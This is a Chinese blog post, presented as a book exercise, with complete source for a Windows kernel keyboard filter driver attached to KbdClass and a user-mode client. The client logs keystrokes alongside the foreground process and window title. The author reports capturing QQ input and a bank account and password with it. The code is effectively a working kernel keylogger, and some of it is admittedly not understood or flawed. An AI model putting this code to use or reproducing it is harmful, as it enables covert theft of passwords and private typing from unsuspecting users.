键盘过滤一(绑定KbdClass)
这是寒江独钓里面的第4章的第一个例子, 绑定键盘设备, 采用的是绑定KbdClass驱动对象下的所有设备对象的做法, 算是比较高层了. 不过在这层进行截获可以获得很好的通用性. 我试验了一下腾讯的QQ, 能够截获到. 而且工商银行的账号和密码也可以截获到. 我倒. 这么大的银行难道都没有一点保护措施?? 难以置信!
其实这个绑定设备的和上一篇那个差不多, 主要就是过滤了.. 要过滤当然需要绑定KbdClass下面的所有设备对象, 这个可以自己手工遍历, 也可以通过IoEnumerateDeviceObjectList.不过这号函数我没有用. 遍历一个驱动对象下的设备对象也不是很难. 所以说基本上也就没有什么困难了.
寒江独钓在删除设备的时候用了延时什么的, 还搞了个全局定时器. 恩. 太麻烦了. 调用IoCancelIrp就可以了.. 好像说来说去都没有好说的, 就是这么个套路. 本来我还想直接搞一个可以翻译成正常的ASCII码的, 但是有点麻烦算了. 回头再说吧. 现在截取效果也是不错了.. 将就着..
这边是截图和代码.
http://www.joenchen.com/JoenTools/KeyBoardCap.rar
用户态的代码:
/* Windows 内核下键盘过滤设备的简单演示 应用层代码 编译方法参见makefile. TAB = 8 */ #include <windows.h> #include <stdio.h> #include <tchar.h> #include <Tlhelp32.h> #include <locale.h> #include "GetKey.h" #include <assert.h> #pragma comment( linker, "/Entry:Jmain" ) #pragma comment( linker, "/SubSystem:Console" ) #define DEVICE_NAME "\\\\.\\SysLinkKeyBoardCap" //=========================================================================== //获取进程句柄对应的进程名称 //=========================================================================== BOOL _GetProcessName( DWORD dwProcessId, PTCHAR tcBuf ) { HANDLE _hSnapsHot; PROCESSENTRY32 _StProcess; RtlZeroMemory( &_StProcess, sizeof( PROCESSENTRY32 ) ); _hSnapsHot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if ( _hSnapsHot == ( HANDLE ) - 1 ) { return FALSE; } _StProcess.dwSize = sizeof( PROCESSENTRY32 ); if ( !Process32First( _hSnapsHot, &_StProcess ) ) { return FALSE; } do { //查看是否是要查找的进程ID if( _StProcess.th32ProcessID == dwProcessId ) { lstrcpy( tcBuf, ( LPCWSTR ) & ( _StProcess.szExeFile ) ); return TRUE; } //这句是C语言有Bug的语句. 哈哈居然也可以编译通过 //while ( Process32Next, _hSnapsHot, &_StProcess ); } while ( Process32Next( _hSnapsHot, &_StProcess ) ); return FALSE; } //=========================================================================== //打印按键信息 //sch :扫描码 //=========================================================================== static int kb_status = S_NUM; void __stdcall print_keystroke( UCHAR sch ) { UCHAR ch = 0; int off = 0; if ( ( sch & 0x80 ) == 0 ) { //make if ( ( sch < 0x47 ) || ( ( sch >= 0x47 && sch < 0x54 ) && ( kb_status & S_NUM ) ) ) { // Num Lock ch = asciiTbl[off + sch]; } switch ( sch ) { case 0x3A: kb_status ^= S_CAPS; break; case 0x2A: case 0x36: kb_status |= S_SHIFT; break; case 0x45: kb_status ^= S_NUM; } } else { //break if ( sch == 0xAA || sch == 0xB6 ) kb_status &= ~S_SHIFT; } if ( ch >= 0x20 && ch < 0x7F ) { printf( "状态码:%p %p %c\n", kb_status, ch, ch ); }else { printf( "控制字符\n" ); } } //=========================================================================== //解析键盘按键消息 //pKeyBuf :按键消息缓冲区 //dwBufLen :缓冲区长度 //返回值, 如果是可打印的ASCII码, 返回True, 否则返回FALSE //=========================================================================== BOOL Resolve( PKEYBOARD_INPUT_DATA pKeyBuf, DWORD dwBufLen, PTCHAR pOutChar ) { ULONG i; // UCHAR cMakeCode; UCHAR ch = 0; ULONG off = 0; static DWORD kb_status = S_NUM; DWORD dwKeyBoardNum; assert( pKeyBuf != NULL ); //按键的数量 dwKeyBoardNum = dwBufLen / sizeof( KEYBOARD_INPUT_DATA ); for( i = 0; i < dwKeyBoardNum; i++ ) { wprintf( _T( "按键数量:%d " ), dwKeyBoardNum ); wprintf( _T( "扫描码:%p " ), pKeyBuf->MakeCode ); wprintf( _T( "%-6ws" ), pKeyBuf->Flags ? _T( "Up" ) : _T( "Down" ) ); print_keystroke( ( UCHAR )pKeyBuf->MakeCode ); pKeyBuf++; } return FALSE; } //=========================================================================== ULONG Jmain( ) { HWND hWnd; BOOL bRet; DWORD dwProcessId; DWORD dwThreadId; DWORD dwOldProcessId; HANDLE hDevice; _TCHAR cChar; DWORD dwByteRead; _TCHAR SzBuf[512]; _TCHAR SzBuf2[512]; setlocale( LC_ALL, "chs" ); //设置字符集 //--------------------------------------------------------------------------- hDevice = CreateFile( _T( DEVICE_NAME ), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if ( hDevice == INVALID_HANDLE_VALUE ) { wprintf( _T( "打开设备失败!\n" ) ); return -1; } //--------------------------------------------------------------------------- //监听所有按下键盘的操作 //--------------------------------------------------------------------------- RtlZeroMemory( SzBuf2, sizeof( SzBuf2 ) ); for( dwOldProcessId = 0;; ) { //获取用户的最前台窗口 hWnd = GetForegroundWindow(); if ( !hWnd ) { continue; } //--------------------------------------------------------------------------- //获取当前有焦点的窗口的进程和线程句柄 dwThreadId = GetWindowThreadProcessId( hWnd, &dwProcessId ); if ( !dwThreadId ) { wprintf( _T( "获取线程Id失败!\n" ) ); continue; } //获取进程名字 if ( !_GetProcessName( dwProcessId, &SzBuf[0] ) ) { wprintf( _T( "获取进程名字失败!\n" ) ); } else { if ( dwOldProcessId != dwProcessId ) { wprintf( _T( "\n--------------------------------------------------------------------\n" ) ); wprintf( _T( "进程名称:%ws\n" ), &SzBuf[0] ); dwOldProcessId = dwProcessId; } } //--------------------------------------------------------------------------- //获取当前输入的窗口名称 RtlZeroMemory( &SzBuf[0], sizeof( SzBuf ) ); //获取窗口名称 if ( !GetWindowText( hWnd, &SzBuf[0], sizeof( SzBuf ) / 2 ) ) { continue; } else { if ( lstrcmp( SzBuf2, SzBuf ) != 0 ) { wprintf( _T( "窗口名称:%s\n" ), &SzBuf[0] ); lstrcpy( SzBuf2, SzBuf ); } } //--------------------------------------------------------------------------- //当然最重要的就是获取上面的按键了 RtlZeroMemory( SzBuf, sizeof( SzBuf ) ); //向设备发送Irp_mj_Read bRet = ReadFile( hDevice, SzBuf, sizeof( SzBuf ), &dwByteRead, NULL ); if ( !bRet ) { wprintf( _T( "串口读取完成!\n" ) ); break; } else { //如果是能够解析到的按键, 那么打印 Resolve( ( PKEYBOARD_INPUT_DATA )SzBuf, dwByteRead, &cChar ); } } //--------------------------------------------------------------------------- if ( hDevice != INVALID_HANDLE_VALUE ) { CloseHandle( hDevice ); } system( "pause" ); return 0; }
这边是内核态的代码:
/* Windows 内核下键盘过滤设备的简单演示 驱动层代码 编译方法参见makefile. TAB = 8 */ #include <ntddk.h> #include "KeyBoard.h" #define DEVICE_NAME L"\\Device\\DevKeyBoardCap" #define SYS_LINK_NAME L"\\??\\SysLinkKeyBoardCap" #define KBD_DRIVER_NAME L"\\Driver\\Kbdclass" // Kbdclass驱动的名字 //--------------------------------------------------------------------------- typedef struct tagDeviceExt { ULONG bFlags; //TRUE表示过滤设备, FALSE就是我们自己的设备了 PIRP pCurrentIrp; PIRP pRoxyIrp; //代理Irp PDEVICE_OBJECT pDeviceObj; PDEVICE_OBJECT pLowDeviceObj; UNICODE_STRING USzDeviceName; UNICODE_STRING USzSysLinkName; } DEVICE_EXT, *PDEVICE_EXT; //=========================================================================== //驱动卸载例程 //=========================================================================== VOID DriverUnLoad( PDRIVER_OBJECT pDriverObj ) { PDEVICE_EXT pDeviceExt = NULL; PDEVICE_OBJECT pNextDeviceObj = NULL; pNextDeviceObj = pDriverObj->DeviceObject; while ( pNextDeviceObj ) { pDeviceExt = pNextDeviceObj->DeviceExtension; ASSERT( pDeviceExt ); //如果有未决的Irp if ( pDeviceExt->pCurrentIrp ) { IoCancelIrp( pDeviceExt->pCurrentIrp ); } //如果还有自己的代理irp if ( pDeviceExt->pRoxyIrp ) { IoCancelIrp( pDeviceExt->pRoxyIrp ); } //取消绑定 if ( pDeviceExt->pLowDeviceObj ) { IoDetachDevice( pDeviceExt->pLowDeviceObj ); } //删除符号链接 if ( pDeviceExt->USzSysLinkName.Buffer ) { IoDeleteSymbolicLink( &pDeviceExt->USzSysLinkName ); } //删除设备 IoDeleteDevice( pDeviceExt->pDeviceObj ); if ( pDeviceExt->USzDeviceName.Buffer ) { KdPrint ( ( "删除%wZ设备成功!\n", &pDeviceExt->USzDeviceName ) ); } else { KdPrint ( ( "删除无名设备成功1\n" ) ); } pNextDeviceObj = pNextDeviceObj->NextDevice; } } //=========================================================================== //创建设备用于和R3通信 //pDriverObj 驱动对象指针 //pDeviceObjName 设备对象名称 //pSysLinkName 设备对象的符号链接名称(可以为NULL) //bFlags 是否是绑定设备的标记 //pDeviceObj 二级指针, 用于返回设备对象 //=========================================================================== NTSTATUS _CreateDevice( PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pDeviceObjName, PUNICODE_STRING pSysLinkName, ULONG bFlags, PDEVICE_OBJECT* pDeviceObj ) { NTSTATUS Status; PDEVICE_EXT pDeviceExt = NULL; PAGED_CODE(); //--------------------------------------------------------------------------- Status = IoCreateDevice( pDriverObj, sizeof( DEVICE_EXT ), pDeviceObjName, FILE_DEVICE_UNKNOWN, 0, TRUE, pDeviceObj ); if ( !NT_SUCCESS( Status ) ) { KdPrint ( ( "创建%wZ设备失败!\n", pDeviceObjName ) ); return Status; } if ( pSysLinkName ) { Status = IoCreateSymbolicLink( pSysLinkName, pDeviceObjName ); if ( !NT_SUCCESS( Status ) ) { KdPrint ( ( "创建%wZ符号链接失败!\n", pSysLinkName ) ); IoDeleteDevice( *pDeviceObj ); return Status; } } //--------------------------------------------------------------------------- pDeviceExt = ( *pDeviceObj )->DeviceExtension; ASSERT( pDeviceExt ); //设置设备属性, 因为这个设备不是过滤设备, 所以bFlags为False RtlZeroMemory( pDeviceExt, sizeof( DEVICE_EXT ) ); pDeviceExt->pDeviceObj = *pDeviceObj; pDeviceExt->bFlags = bFlags; if ( pDeviceObjName ) { pDeviceExt->USzDeviceName = *pDeviceObjName; } if ( pSysLinkName ) { pDeviceExt->USzSysLinkName = *pSysLinkName; } return Status; } //=========================================================================== //绑定Kbdclass下的所有设备对象 //pDriverObj :驱动对象 //返回值 :状态 //=========================================================================== NTSTATUS _AttachAllKeyBoards( PDRIVER_OBJECT pDriverObj ) { NTSTATUS Status; PDRIVER_OBJECT pKbdDriverObj = NULL; PDEVICE_OBJECT pTagetDeviceObj = NULL; PDEVICE_OBJECT pFilterDeviceObj = NULL; PDEVICE_OBJECT pLowerDeviceObj = NULL; PDEVICE_EXT pDeviceExt = NULL; POBJECT_HEADER ObjHeader = NULL; POBJECT_HEADER_NAME_INFO ObjName = NULL; UNICODE_STRING USzKbdClass = RTL_CONSTANT_STRING( KBD_DRIVER_NAME ); PAGED_CODE(); //--------------------------------------------------------------------------- Status = ObReferenceObjectByName( &USzKbdClass, OBJ_CASE_INSENSITIVE, NULL, 0, IoDriverObjectType, KernelMode, NULL, &pKbdDriverObj ); if ( !NT_SUCCESS( Status ) ) { return Status; } else { // 这个打开需要解应用。早点解除了免得之后忘记。 ObDereferenceObject( pKbdDriverObj ); } //--------------------------------------------------------------------------- //遍历Kbdclass下所有的设备对象, 进行绑定 pTagetDeviceObj = pKbdDriverObj->DeviceObject; while ( pTagetDeviceObj ) { //创建和R3通信的设备Flags = FALSE Status = _CreateDevice( pDriverObj, NULL, NULL, TRUE, &pFilterDeviceObj ); if ( !NT_SUCCESS( Status ) ) { KdPrint ( ( "创建过滤设备失败!\n" ) ); return Status; } Status = IoAttachDeviceToDeviceStackSafe( pFilterDeviceObj, pTagetDeviceObj, &pLowerDeviceObj ); if ( !NT_SUCCESS( Status ) ) { KdPrint ( ( "绑定设备失败!\n" ) ); IoDeleteDevice( pFilterDeviceObj ); pFilterDeviceObj = NULL; return Status; } //设置设备扩展属性 pDeviceExt = pFilterDeviceObj->DeviceExtension; pDeviceExt->pLowDeviceObj = pLowerDeviceObj; pDeviceExt->pDeviceObj = pFilterDeviceObj; //设置过滤设备的属性(重要, 不要设置错了) pFilterDeviceObj->DeviceType = pLowerDeviceObj->DeviceType; pFilterDeviceObj->Characteristics = pLowerDeviceObj->Characteristics; pFilterDeviceObj->StackSize = pLowerDeviceObj->StackSize + 1; pFilterDeviceObj->Flags |= pLowerDeviceObj->Flags & ( DO_BUFFERED_IO | DO_DIRECT_IO | DO_POWER_PAGABLE ); //--------------------------------------------------------------------------- //得到对象头 ObjHeader = OBJECT_TO_OBJECT_HEADER( pLowerDeviceObj ); ASSERT( ObjHeader != NULL ); //查询设备名称 ObjName = OBJECT_HEADER_TO_NAME_INFO( ObjHeader ); KdPrint ( ( "绑定%wZ设备成功!\n", &ObjName->Name ) ); //--------------------------------------------------------------------------- //遍历下一个设备 pTagetDeviceObj = pTagetDeviceObj->NextDevice; } return Status; } //=========================================================================== //所有不关心的的Irp处理 //=========================================================================== NTSTATUS DispatchRoutine( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) { PDEVICE_EXT pDeviceExt = NULL; pDeviceExt = pDeviceObj->DeviceExtension; ASSERT( pDeviceExt ); //--------------------------------------------------------------------------- //过滤设备不关心的Irp处理 if ( pDeviceExt->bFlags ) { IoSkipCurrentIrpStackLocation( pIrp ); KdPrint ( ( "不关心的Irp来了一次!\n" ) ); //这里返回值应该返回底层设备返回的值(注意了) return IoCallDriver( pDeviceExt->pLowDeviceObj, pIrp ); //--------------------------------------------------------------------------- //我们和R3设备之间的通信 } else { pIrp->IoStatus.Information = 0; pIrp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest( pIrp, IO_NO_INCREMENT ); KdPrint ( ( "R3不关心的Irp来了一次!\n" ) ); return STATUS_SUCCESS; } } //=========================================================================== //在键盘设备的读取请求中, 完成我们自己创建的R3设备 //pDriverObj :驱动对象 //pBuf :欲Copy到3环的缓冲区 //ulBufLen :缓冲区长度 //=========================================================================== NTSTATUS _CompletionR3Read( PDRIVER_OBJECT pDriverObj, PUCHAR pBuf, ULONG ulBufLen ) { ULONG ulUserBufLen; PUCHAR pUserBuf = NULL; PDEVICE_EXT pDeviceExt = NULL; PDEVICE_OBJECT pNextDevice = NULL; PIO_STACK_LOCATION pUserStack = NULL; //遍历所有设备找到我们自己和R3通信的设备 pNextDevice = pDriverObj->DeviceObject; ASSERT( pNextDevice != NULL ); for( ; pNextDevice != NULL; pNextDevice = pNextDevice->NextDevice ) { pDeviceExt = pNextDevice->DeviceExtension; ASSERT( pDeviceExt ); if ( !pDeviceExt->pCurrentIrp || pDeviceExt->bFlags ) { continue; } //获取R3那边读取请求的Irp pUserStack = IoGetCurrentIrpStackLocation( pDeviceExt->pCurrentIrp ); ASSERT( pUserStack != NULL ); //缓冲区长度 ulUserBufLen = pUserStack->Parameters.Read.Length; //映射R3那边的地址到高2G这边来 pUserBuf = MmGetSystemAddressForMdlSafe( pDeviceExt->pCurrentIrp->MdlAddress, NormalPagePriority ); //如果缓冲区传递错误了 if ( !pUserBuf ) { pDeviceExt->pCurrentIrp->IoStatus.Status = STATUS_INVALID_PARAMETER; pDeviceExt->pCurrentIrp->IoStatus.Information = 0; } else { //如果用户态那边的缓冲区太少, 返回错误 if ( ulUserBufLen < ulBufLen ) { pDeviceExt->pCurrentIrp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL; pDeviceExt->pCurrentIrp->IoStatus.Information = 0; } else { //条件都够了那么就Copy内存过去 RtlCopyMemory( pUserBuf, pBuf, ulBufLen ); pDeviceExt->pCurrentIrp->IoStatus.Status = STATUS_SUCCESS; pDeviceExt->pCurrentIrp->IoStatus.Information = ulBufLen; } } IoCompleteRequest( pDeviceExt->pCurrentIrp, IO_NO_INCREMENT ); pDeviceExt->pCurrentIrp = NULL; pDeviceExt = NULL; return STATUS_SUCCESS; } return STATUS_UNSUCCESSFUL; } //=========================================================================== //读取请求的完成例程, 这边如果有我们自己创建设备的挂起的Irp那么就会在这里完成 //=========================================================================== NTSTATUS CompletionRead( PDEVICE_OBJECT pDeviceObj, PIRP pIrp, PVOID pContext ) { ULONG ulBufLen, i; NTSTATUS Status; PUCHAR pBuf = NULL; PIO_STACK_LOCATION pStack = NULL; PAGED_CODE(); //--------------------------------------------------------------------------- pStack = IoGetCurrentIrpStackLocation( pIrp ); //判断请求是否成功, 不成功处理是没有意义的 if ( NT_SUCCESS( pIrp->IoStatus.Status ) ) { //获取读取请求的缓冲区, 和长度 pBuf = pIrp->AssociatedIrp.SystemBuffer; ulBufLen = pIrp->IoStatus.Information; for( i = 0; i < ulBufLen; i++ ) { KdPrint ( ( "%3X", pBuf[i] ) ); } KdPrint ( ( "\n" ) ); //这里保存起自己的Irp, 用于在卸载时发送取消消息 ( ( PDEVICE_EXT )pDeviceObj->DeviceExtension )->pRoxyIrp = pIrp; //--------------------------------------------------------------------------- //如果与我们通信的3环Irp被挂起了, 那么这里就可以返回了 //--------------------------------------------------------------------------- Status = _CompletionR3Read( pDeviceObj->DriverObject, pBuf, ulBufLen ); if ( !NT_SUCCESS( Status ) ) { KdPrint ( ( "R3那边的读取请求完成失败!\n" ) ); } else { KdPrint ( ( "R3那边的请求成功完成!\n" ) ); } } //--------------------------------------------------------------------------- //进入此函数标志底层驱动设备将IRP完成 KdPrint( ( "Completion:读取请求的完成例程\n" ) ); if ( pIrp->PendingReturned ) { //传播pending位 IoMarkIrpPending( pIrp ); } return pIrp->IoStatus.Status; } //=========================================================================== //我们和R3通信设备的取消例程 //=========================================================================== VOID OnCancelIRP( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) { PDEVICE_EXT pDeviceExt = NULL; PAGED_CODE_LOCKED(); //--------------------------------------------------------------------------- //释放Cancel自旋锁 IoReleaseCancelSpinLock( pIrp->CancelIrql ); pDeviceExt = pDeviceObj->DeviceExtension; ASSERT( pDeviceExt ); if ( pDeviceExt->pCurrentIrp == pIrp ) { pDeviceExt->pCurrentIrp = NULL; } //设置完成状态为STATUS_CANCELLED pIrp->IoStatus.Status = STATUS_CANCELLED; pIrp->IoStatus.Information = 0; IoCompleteRequest( pIrp, IO_NO_INCREMENT ); KdPrint ( ( "和R3的通信设备取消例程被调用!\n" ) ); } //=========================================================================== //读取请求过滤 //=========================================================================== NTSTATUS DispatchRead( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) { PDEVICE_EXT pDeviceExt = NULL; PIO_STACK_LOCATION pStack = NULL; pDeviceExt = pDeviceObj->DeviceExtension; ASSERT( pDeviceExt ); //--------------------------------------------------------------------------- //如果是过滤设备 if ( pDeviceExt->bFlags ) { //这句一直都没有搞明白, if ( pIrp->CurrentLocation == 1 ) { pIrp->IoStatus.Information = 0; pIrp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest( pIrp, IO_NO_INCREMENT ); return STATUS_SUCCESS; } pStack = IoGetCurrentIrpStackLocation( pIrp ); IoCopyCurrentIrpStackLocationToNext( pIrp ); //设置完成例程 IoSetCompletionRoutine( pIrp, &CompletionRead, pDeviceObj, TRUE, TRUE, TRUE ); KdPrint ( ( "键盘读取请求来了, 我们设置了一个回调例程!\n" ) ); return IoCallDriver( pDeviceExt->pLowDeviceObj, pIrp ); //--------------------------------------------------------------------------- //如果是我们自己创建的设备 } else { //如果这里为TRUE, 那么肯定是上次没有来得及处理的Irp, 那么取消 if ( pDeviceExt->pCurrentIrp ) { IoCancelIrp( pDeviceExt->pCurrentIrp ); pDeviceExt->pCurrentIrp = NULL; } pDeviceExt->pCurrentIrp = pIrp; //将IRP设置为挂起 IoMarkIrpPending( pIrp ); //设置取消例程 IoSetCancelRoutine( pIrp, OnCancelIRP ); KdPrint ( ( "R3读取请求来了一次!\n" ) ); //返回pending状态 return STATUS_PENDING; } } //=========================================================================== //写入请求处理例程 //=========================================================================== NTSTATUS DispatchWrite( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) { PDEVICE_EXT pDeviceExt = NULL; pDeviceExt = pDeviceObj->DeviceExtension; //如果是过滤设备 if ( pDeviceExt->bFlags ) { IoSkipCurrentIrpStackLocation( pIrp ); //这里返回值应该返回底层设备返回的值(注意了) return IoCallDriver( pDeviceExt->pLowDeviceObj, pIrp ); //--------------------------------------------------------------------------- //如果是我们自己创建的设备 } else { pIrp->IoStatus.Information = 0; pIrp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest( pIrp, IO_NO_INCREMENT ); return STATUS_SUCCESS; } } //=========================================================================== //电源设备请求 //=========================================================================== NTSTATUS DispatchPower( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) { PDEVICE_EXT pDeviceExt = NULL; pDeviceExt = pDeviceObj->DeviceExtension; //如果是过滤设备 if ( pDeviceExt->bFlags ) { PoStartNextPowerIrp( pIrp ); IoSkipCurrentIrpStackLocation( pIrp ); //返回底层设备返回的值 return PoCallDriver( pDeviceExt->pLowDeviceObj, pIrp ); //--------------------------------------------------------------------------- //如果是我们自己创建的设备 } else { pIrp->IoStatus.Information = 0; pIrp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest( pIrp, IO_NO_INCREMENT ); return STATUS_SUCCESS; } } //=========================================================================== //驱动程序入口 //=========================================================================== #pragma code_seg( "INIT", "DriverEntry" ) NTSTATUS DriverEntry( PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath ) { ULONG i; NTSTATUS Status; PDEVICE_OBJECT pDeviceObj = NULL; UNICODE_STRING USzDeviceName = RTL_CONSTANT_STRING( DEVICE_NAME ); UNICODE_STRING USzSysLinkName = RTL_CONSTANT_STRING( SYS_LINK_NAME ); //--------------------------------------------------------------------------- //创建和R3通信的设备Flags = FALSE Status = _CreateDevice( pDriverObj, &USzDeviceName, &USzSysLinkName, FALSE, &pDeviceObj ); if ( !NT_SUCCESS( Status ) ) { KdPrint ( ( "创建和R3通信的设备失败!\n" ) ); return Status; } ASSERT( pDeviceObj != NULL ); //设置缓冲区操作方式(操作设备的时候老是用=不用|= pDeviceObj->Flags |= DO_DIRECT_IO; pDeviceObj->Flags &= ~DO_DEVICE_INITIALIZING; //--------------------------------------------------------------------------- //绑定所有的键盘设备 Status = _AttachAllKeyBoards( pDriverObj ); if ( !NT_SUCCESS( Status ) ) { KdPrint ( ( "绑定KbdClass设备失败!\n" ) ); return Status; } //--------------------------------------------------------------------------- //设置分发函数 for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ ) { pDriverObj->MajorFunction[i] = &DispatchRoutine; } pDriverObj->MajorFunction[IRP_MJ_READ] = &DispatchRead; pDriverObj->MajorFunction[IRP_MJ_WRITE] = &DispatchWrite; pDriverObj->MajorFunction[IRP_MJ_POWER] = &DispatchPower; pDriverObj->DriverUnload = &DriverUnLoad; KdPrint ( ( "DriverEntry执行完毕!\n" ) ); //--------------------------------------------------------------------------- return Status; }
网友评论:
发表评论
Warning: Undefined variable $user_ID in /www/wwwroot/joenchen.com/wp-content/themes/x-agan/comments.php on line 66
您必须登录 才能进行评论。
[...] [原文地址] 标签: 键盘记录 关于本文 [...]
这个代码没有解决不能捕获首次按键的问题,我也遇到这个问题